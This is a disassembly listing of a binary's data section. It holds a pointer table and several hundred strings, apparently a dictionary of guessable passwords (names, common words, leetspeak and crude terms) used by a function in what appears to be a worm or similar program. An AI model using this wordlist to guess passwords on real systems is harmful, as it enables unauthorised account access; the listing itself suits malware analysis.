dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_1 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset byte_43C63C
align 8
dword_430B28 dd 10h ; sub_40F6F1+B66r ...
aZimmerman db 'zimmerman',0 ; DATA XREF: ___:00430B1Co
align 4
aZap db 'zap',0 ; DATA XREF: ___:00430B18o
aYellowstone db 'yellowstone',0 ; DATA XREF: ___:00430B14o
aXyz db 'xyz',0 ; DATA XREF: ___:00430B10o
aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00430B0Co
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00430B08o
align 4
aWholesale db 'wholesale',0 ; DATA XREF: ___:00430B04o
align 4
aTty db 'tty',0 ; DATA XREF: ___:00430B00o
aTopography db 'topography',0 ; DATA XREF: ___:00430AFCo
align 4
aTemptation db 'temptation',0 ; DATA XREF: ___:00430AF8o
align 10h
aTelephone db 'telephone',0 ; DATA XREF: ___:00430AF4o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: ___:00430AF0o
align 4
aSys db 'sys',0 ; DATA XREF: ___:00430AECo
aSupported db 'supported',0 ; DATA XREF: ___:00430AE8o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: ___:00430AE4o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: ___:00430AE0o
align 10h
aSun db 'sun',0 ; DATA XREF: ___:00430ADCo
aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00430AD8o
align 10h
aStratford db 'stratford',0 ; DATA XREF: ___:00430AD4o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: ___:00430AD0o
align 4
aSignature db 'signature',0 ; DATA XREF: ___:00430ACCo
align 4
aSheffield db 'sheffield',0 ; DATA XREF: ___:00430AC8o
align 10h
aSal db 'sal',0 ; DATA XREF: ___:00430AC4o
aRochester db 'rochester',0 ; DATA XREF: ___:00430AC0o
align 10h
aRje db 'rje',0 ; DATA XREF: ___:00430ABCo
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00430AB8o
align 4
aPub db 'pub',0 ; DATA XREF: ___:00430AB4o
aProfessor db 'professor',0 ; DATA XREF: ___:00430AB0o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: ___:00430AACo
align 10h
aPondering db 'pondering',0 ; DATA XREF: ___:00430AA8o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: ___:00430AA4o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: ___:00430AA0o
align 4
aPercolate db 'percolate',0 ; DATA XREF: ___:00430A9Co
align 10h
aPam db 'pam',0 ; DATA XREF: ___:00430A98o
aPad db 'pad',0 ; DATA XREF: ___:00430A94o
aOceanography db 'oceanography',0 ; DATA XREF: ___:00430A90o
align 4
aNutrition db 'nutrition',0 ; DATA XREF: ___:00430A8Co
align 4
aNew db 'new',0 ; DATA XREF: ___:00430A88o
aNet db 'net',0 ; DATA XREF: ___:00430A84o
aMit db 'mit',0 ; DATA XREF: ___:00430A80o
aMgr db 'mgr',0 ; DATA XREF: ___:00430A7Co
aMacintosh db 'macintosh',0 ; DATA XREF: ___:00430A78o
align 10h
aLiz db 'liz',0 ; DATA XREF: ___:00430A74o
aLee db 'lee',0 ; DATA XREF: ___:00430A70o
aLamination db 'lamination',0 ; DATA XREF: ___:00430A6Co
align 4
aKim db 'kim',0 ; DATA XREF: ___:00430A68o
aJoy db 'joy',0 ; DATA XREF: ___:00430A60o
aJen db 'jen',0 ; DATA XREF: ___:00430A5Co
aInnocuous db 'innocuous',0 ; DATA XREF: ___:00430A58o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: ___:00430A54o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:00430A50o
aHappening db 'happening',0 ; DATA XREF: ___:00430A4Co
align 4
aHal db 'hal',0 ; DATA XREF: ___:00430A48o
aGnu db 'gnu',0 ; DATA XREF: ___:00430A44o
aFun db 'fun',0 ; DATA XREF: ___:00430A40o
aForesight db 'foresight',0 ; DATA XREF: ___:00430A3Co
align 10h
aFoolproof db 'foolproof',0 ; DATA XREF: ___:00430A38o
align 4
aExtension db 'extension',0 ; DATA XREF: ___:00430A34o
align 4
aEstablish db 'establish',0 ; DATA XREF: ___:00430A30o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: ___:00430A2Co
align 10h
aElizabeth db 'elizabeth',0 ; DATA XREF: ___:00430A28o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: ___:00430A24o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:00430A20o
align 4
aDos db 'dos',0 ; DATA XREF: ___:00430A1Co
aDog db 'dog',0 ; DATA XREF: ___:00430A18o
aDiscovery db 'discovery',0 ; DATA XREF: ___:00430A14o
align 4
aDesperate db 'desperate',0 ; DATA XREF: ___:00430A10o
align 4
aDeb db 'deb',0 ; DATA XREF: ___:00430A0Co
aCornelius db 'cornelius',0 ; DATA XREF: ___:00430A08o
align 4
aCommrades db 'commrades',0 ; DATA XREF: ___:00430A04o
align 10h
aChristine db 'christine',0 ; DATA XREF: ___:00430A00o
align 4
aChristina db 'christina',0 ; DATA XREF: ___:004309FCo
align 4
aChemistry db 'chemistry',0 ; DATA XREF: ___:004309F8o
align 4
aCatherine db 'catherine',0 ; DATA XREF: ___:004309F4o
align 10h
aCat db 'cat',0 ; DATA XREF: ___:004309F0o
aCampanile db 'campanile',0 ; DATA XREF: ___:004309ECo
align 10h
aCad db 'cad',0 ; DATA XREF: ___:004309E8o
aBsd db 'bsd',0 ; DATA XREF: ___:004309E4o
aBob db 'bob',0 ; DATA XREF: ___:004309E0o
aBicameral db 'bicameral',0 ; DATA XREF: ___:004309DCo
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: ___:004309D8o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:004309D4o
align 10h
aAsm db 'asm',0 ; DATA XREF: ___:004309D0o
aAsd db 'asd',0 ; DATA XREF: ___:004309CCo
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:004309C8o
align 4
aAnn db 'ann',0 ; DATA XREF: ___:004309C4o
aAndromache db 'andromache',0 ; DATA XREF: ___:004309C0o
align 4
aAmy db 'amy',0 ; DATA XREF: ___:004309BCo
aAmorphous db 'amorphous',0 ; DATA XREF: ___:004309B8o
align 4
aAma db 'ama',0 ; DATA XREF: ___:004309B4o
aAlf db 'alf',0 ; DATA XREF: ___:004309B0o
aAlbatross db 'albatross',0 ; DATA XREF: ___:004309ACo
align 4
aAda db 'ada',0 ; DATA XREF: ___:004309A8o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:004309A4o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:004309A0o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:0043099Co
align 10h
aHaxing db 'haxing',0 ; DATA XREF: ___:00430998o
align 4
aHax db 'hax',0 ; DATA XREF: ___:00430994o
aWh0re db 'wh0re',0 ; DATA XREF: ___:00430990o
align 4
aHo db 'ho',0 ; DATA XREF: ___:0043098Co
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00430988o
align 10h
aWindoze95 db 'windoze95',0 ; DATA XREF: ___:00430984o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: ___:00430980o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: ___:0043097Co
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00430978o
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: ___:00430974o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: ___:00430970o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: ___:0043096Co
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: ___:00430968o
align 10h
aWindows2k db 'windows2k',0 ; DATA XREF: ___:00430964o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:00430960o
align 4
aMs db 'MS',0 ; DATA XREF: ___:0043095Co
align 4
aM db 'M$',0 ; DATA XREF: ___:00430958o
align 10h
aBilly db 'billy',0 ; DATA XREF: ___:00430954o
align 4
aWindose db 'windose',0 ; DATA XREF: ___:00430950o
aWindoze db 'windoze',0 ; DATA XREF: ___:0043094Co
aWindowz db 'windowz',0 ; DATA XREF: ___:00430948o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:00430944o
aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:00430940o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: ___:0043093Co
align 4
aAl3x db 'Al3x',0 ; DATA XREF: ___:00430938o
align 4
aDud3 db 'dud3',0 ; DATA XREF: ___:00430934o
align 4
aDudette db 'dudette',0 ; DATA XREF: ___:00430930o
aD00d db 'd00d',0 ; DATA XREF: ___:0043092Co
align 4
aLol db 'lol',0 ; DATA XREF: ___:00430928o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:00430924o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: ___:00430920o
align 10h
aRosco db 'Rosco',0 ; DATA XREF: ___:0043091Co
align 4
aRoss db 'Ross',0 ; DATA XREF: ___:00430918o
align 10h
aTestin db 'testin',0 ; DATA XREF: ___:00430914o
align 4
aTester db 'tester',0 ; DATA XREF: ___:00430910o
align 10h
a00000000 db '00000000',0 ; DATA XREF: ___:0043090Co
align 4
aZulu db 'zulu',0 ; DATA XREF: ___:00430908o
align 4
aZombie db 'zombie',0 ; DATA XREF: ___:00430904o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: ___:00430900o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: ___:004308FCo
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: ___:004308F8o
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:004308F4o
align 4
aZebra db 'zebra',0 ; DATA XREF: ___:004308F0o
align 4
aYoung db 'young',0 ; DATA XREF: ___:004308ECo
align 4
aYosemite db 'yosemite',0 ; DATA XREF: ___:004308E8o
align 10h
aYolanda db 'yolanda',0 ; DATA XREF: ___:004308E4o
aYellowst db 'yellowst',0 ; DATA XREF: ___:004308E0o
align 4
aYellow db 'yellow',0 ; DATA XREF: ___:004308DCo
align 4
aYankee db 'yankee',0 ; DATA XREF: ___:004308D8o
align 4
aYang db 'yang',0 ; DATA XREF: ___:004308D4o
align 4
aYaco db 'yaco',0 ; DATA XREF: ___:004308D0o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: ___:004308CCo
align 4
aXray db 'xray',0 ; DATA XREF: ___:004308C8o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: ___:004308C4o
align 4
aXmen db 'xmen',0 ; DATA XREF: ___:004308C0o
align 4
aXman db 'xman',0 ; DATA XREF: ___:004308BCo
align 4
aXfer db 'xfer',0 ; DATA XREF: ___:004308B8o
align 4
aXena db 'xena',0 ; DATA XREF: ___:004308B4o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: ___:004308B0o
aWwii db 'wwii',0 ; DATA XREF: ___:004308ACo
align 4
aWormwood db 'wormwood',0 ; DATA XREF: ___:004308A8o
align 4
aWorm db 'worm',0 ; DATA XREF: ___:004308A4o
align 10h
aWork db 'work',0 ; DATA XREF: ___:004308A0o
align 4
aWorf db 'worf',0 ; DATA XREF: ___:0043089Co
align 10h
aWordperf db 'wordperf',0 ; DATA XREF: ___:00430898o
align 4
aWord db 'word',0 ; DATA XREF: ___:00430894o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: ___:00430890o
align 10h
aWood db 'wood',0 ; DATA XREF: ___:0043088Co
align 4
aWomen db 'women',0 ; DATA XREF: ___:00430888o
align 10h
aWombat db 'wombat',0 ; DATA XREF: ___:00430884o
align 4
aWoman db 'woman',0 ; DATA XREF: ___:00430880o
align 10h
aWolverin db 'wolverin',0 ; DATA XREF: ___:0043087Co
align 4
aWolf db 'wolf',0 ; DATA XREF: ___:00430878o
align 4
aWizard db 'wizard',0 ; DATA XREF: ___:00430874o
align 4
aWithin db 'within',0 ; DATA XREF: ___:00430870o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: ___:0043086Co
aWisconsi db 'wisconsi',0 ; DATA XREF: ___:00430868o
align 4
aWired db 'wired',0 ; DATA XREF: ___:00430864o
align 10h
aWinston db 'winston',0 ; DATA XREF: ___:00430860o
aWing db 'wing',0 ; DATA XREF: ___:0043085Co
align 10h
aWine db 'wine',0 ; DATA XREF: ___:00430858o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:00430854o
aWilma db 'wilma',0 ; DATA XREF: ___:00430850o
align 4
aWillie db 'willie',0 ; DATA XREF: ___:0043084Co
align 10h
aWilliams db 'williams',0 ; DATA XREF: ___:00430848o
align 4
aWilliam db 'william',0 ; DATA XREF: ___:00430844o
aWill db 'will',0 ; DATA XREF: ___:00430840o
align 4
aWhore db 'whore',0 ; DATA XREF: ___:0043083Co
align 4
aWholesal db 'wholesal',0 ; DATA XREF: ___:00430838o
align 10h
aWhitney db 'whitney',0 ; DATA XREF: ___:00430834o
aWhiting db 'whiting',0 ; DATA XREF: ___:00430830o
aWhite db 'white',0 ; DATA XREF: ___:0043082Co
align 4
aWhisky db 'whisky',0 ; DATA XREF: ___:00430828o
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: ___:00430824o
aWhatever db 'whatever',0 ; DATA XREF: ___:00430820o
align 4
aWestern db 'western',0 ; DATA XREF: ___:0043081Co
aWest db 'west',0 ; DATA XREF: ___:00430818o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: ___:00430814o
align 10h
aWendy db 'wendy',0 ; DATA XREF: ___:00430810o
align 4
aWendi db 'wendi',0 ; DATA XREF: ___:0043080Co
align 10h
aWell db 'well',0 ; DATA XREF: ___:00430808o
align 4
aWeenie db 'weenie',0 ; DATA XREF: ___:00430804o
align 10h
aWeed db 'weed',0 ; DATA XREF: ___:00430800o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: ___:004307FCo
align 4
aWebpage db 'webpage',0 ; DATA XREF: ___:004307F8o
aWave db 'wave',0 ; DATA XREF: ___:004307F4o
align 4
aWater db 'water',0 ; DATA XREF: ___:004307F0o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: ___:004307ECo
align 4
aWasp db 'wasp',0 ; DATA XREF: ___:004307E8o
align 10h
aWarren db 'warren',0 ; DATA XREF: ___:004307E4o
align 4
aWarp db 'warp',0 ; DATA XREF: ___:004307E0o
align 10h
aWargames db 'wargames',0 ; DATA XREF: ___:004307DCo
align 4
aWarfare db 'warfare',0 ; DATA XREF: ___:004307D8o
aWarez db 'warez',0 ; DATA XREF: ___:004307D4o
align 4
aWard db 'ward',0 ; DATA XREF: ___:004307D0o
align 4
aWaco db 'waco',0 ; DATA XREF: ___:004307CCo
align 4
aVodka db 'vodka',0 ; DATA XREF: ___:004307C8o
align 4
aVisualba db 'visualba',0 ; DATA XREF: ___:004307C4o
align 10h
aVisual db 'visual',0 ; DATA XREF: ___:004307C0o
align 4
aVisitor db 'visitor',0 ; DATA XREF: ___:004307BCo
aVirus db 'virus',0 ; DATA XREF: ___:004307B8o
align 4
aVirginia db 'virginia',0 ; DATA XREF: ___:004307B4o
align 4
aVirgin db 'virgin',0 ; DATA XREF: ___:004307B0o
align 4
aVillage db 'village',0 ; DATA XREF: ___:004307ACo
aVideogam db 'videogam',0 ; DATA XREF: ___:004307A8o
align 10h
aVideo db 'video',0 ; DATA XREF: sub_40F6F1:loc_413F12o
; ___:004307A4o
align 4
aVictor db 'victor',0 ; DATA XREF: ___:004307A0o
align 10h
aVicky db 'vicky',0 ; DATA XREF: ___:0043079Co
align 4
aVertigo db 'vertigo',0 ; DATA XREF: ___:00430798o
aVeronica db 'veronica',0 ; DATA XREF: ___:00430794o
align 4
aVenus db 'venus',0 ; DATA XREF: ___:00430790o
align 4
aVasant db 'vasant',0 ; DATA XREF: ___:0043078Co
align 4
aVampire db 'vampire',0 ; DATA XREF: ___:00430788o
aValerie db 'valerie',0 ; DATA XREF: ___:00430784o
aVagina db 'vagina',0 ; DATA XREF: ___:00430780o
align 4
aUucp db 'uucp',0 ; DATA XREF: ___:0043077Co
align 4
aUtility db 'utility',0 ; DATA XREF: ___:00430778o
aUtil db 'util',0 ; DATA XREF: ___:00430774o
align 4
aUsmc db 'usmc',0 ; DATA XREF: ___:00430770o
align 4
aUsername db 'username',0 ; DATA XREF: ___:0043076Co
align 10h
aUsermane db 'usermane',0 ; DATA XREF: ___:00430768o
align 4
aUsenet db 'usenet',0 ; DATA XREF: ___:00430764o
align 4
aUrsula db 'ursula',0 ; DATA XREF: ___:00430760o
align 4
aUrchin db 'urchin',0 ; DATA XREF: ___:0043075Co
align 4
aUranus db 'uranus',0 ; DATA XREF: ___:00430758o
align 4
aUpload db 'upload',0 ; DATA XREF: ___:00430754o
align 4
aUnlock db 'unlock',0 ; DATA XREF: ___:00430750o
align 4
aUnknown_1 db 'unknown',0 ; DATA XREF: ___:0043074Co
aUniversi db 'universi',0 ; DATA XREF: ___:00430748o
align 10h
aUniverse db 'universe',0 ; DATA XREF: ___:00430744o
align 4
aUniversa db 'universa',0 ; DATA XREF: ___:00430740o
align 4
aUniform db 'uniform',0 ; DATA XREF: ___:0043073Co
aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430738o
aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430734o
aUndo db 'undo',0 ; DATA XREF: ___:00430730o
align 4
aUncle db 'uncle',0 ; DATA XREF: ___:0043072Co
align 10h
aUmesh db 'umesh',0 ; DATA XREF: ___:00430728o
align 4
aUgly db 'ugly',0 ; DATA XREF: ___:00430724o
align 10h
aTuttle db 'tuttle',0 ; DATA XREF: ___:00430720o
align 4
aTurn db 'turn',0 ; DATA XREF: ___:0043071Co
align 10h
aTuesday db 'tuesday',0 ; DATA XREF: ___:00430718o
aTubas db 'tubas',0 ; DATA XREF: ___:00430714o
align 10h
aTruth db 'truth',0 ; DATA XREF: ___:00430710o
align 4
aTrue db 'true',0 ; DATA XREF: ___:0043070Co
align 10h
aTron db 'tron',0 ; DATA XREF: ___:00430708o
align 4
aTrombone db 'trombone',0 ; DATA XREF: ___:00430704o
align 4
